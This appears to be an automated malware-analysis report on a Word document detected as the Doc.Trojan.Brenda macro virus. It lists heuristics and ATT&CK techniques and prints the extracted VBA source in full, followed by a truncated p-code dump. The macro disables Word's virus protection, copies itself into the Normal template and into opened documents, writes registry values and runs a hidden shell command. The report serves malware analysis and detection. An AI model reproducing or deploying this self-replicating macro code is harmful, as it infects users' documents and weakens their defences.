MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1204.002 Malicious File
The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the presence of a Shell() call within its VBA macros. The Document_Open macro is present and configured to execute automatically. The script attempts to write values to multiple registry keys, including 'HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}' and 'HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008', suggesting an attempt to establish persistence or modify system behavior. The presence of ClamAV detections further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Brenda-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Brenda-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7692 bytes |
SHA-256: 4f5b9591b53fb3acc9b7601e476ec3d47e23b813eccab48743dbbe04f1b5b239 |
|||
|
Detection
ClamAV:
Doc.Trojan.Brenda-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
bSavedState = ActiveDocument.Saved
Application.EnableCancelKey = Not True
Options.VirusProtection = Not True
Options.SaveNormalPrompt = Not True
Options.ConfirmConversions = Not True
sLines = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Close()"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}", "") = "Little Miss Nick"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon", "") = "C:\\WINDOWS\\SYSTEM\\shell32.dll,10"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Display Name") = "Asexual"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Email Address") = "nick@virusbtn.com"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "Name") = "Nick FitzGerald the queen"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "SN") = "415F7097"
System.PrivateProfileString("win.ini", "WinZip", "Name") = "Nick FitzGerald the queen"
System.PrivateProfileString("win.ini", "WinZip", "Name") = "415F7097"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts", "name") = "NicKKK"
Shell "label c: n0nuts", vbHide
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Open()"
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
ActiveDocument.Saved = bSavedState
End Sub
' Processing file: /opt/analyzer/scan_staging/5a837afc1df14f96bc028150ba7e1b51.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4050 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Line #3:
' Ld ActiveDocument
' MemLd Saved
' St bSavedState
' Line #4:
' Line #5:
' LitVarSpecial (True)
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #6:
' LitVarSpecial (True)
' Not
' Ld Options
' MemSt VirusProtection
' Line #7:
' LitVarSpecial (True)
' Not
' Ld Options
' MemSt SaveNormalPrompt
' Line #8:
' LitVarSpecial (True)
' Not
' Ld Options
' MemSt ConfirmConversions
' Line #9:
' Line #10:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St sLines
' Line #11:
' Line #12:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #13:
' Ld sLines
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.